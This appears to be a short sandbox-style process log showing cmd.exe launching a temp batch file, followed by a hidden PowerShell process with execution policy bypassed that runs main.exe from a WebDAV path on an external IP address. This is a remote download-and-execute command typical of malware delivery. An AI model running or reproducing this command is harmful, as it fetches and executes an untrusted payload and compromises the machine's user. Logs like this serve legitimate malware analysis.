cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "sNeynIZda" C:\Users\test22\AppData\Local\Temp\dss.cmd
2060powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -Command "\\91.207.183.9@8000\DavWWWRoot\main.exe"
2240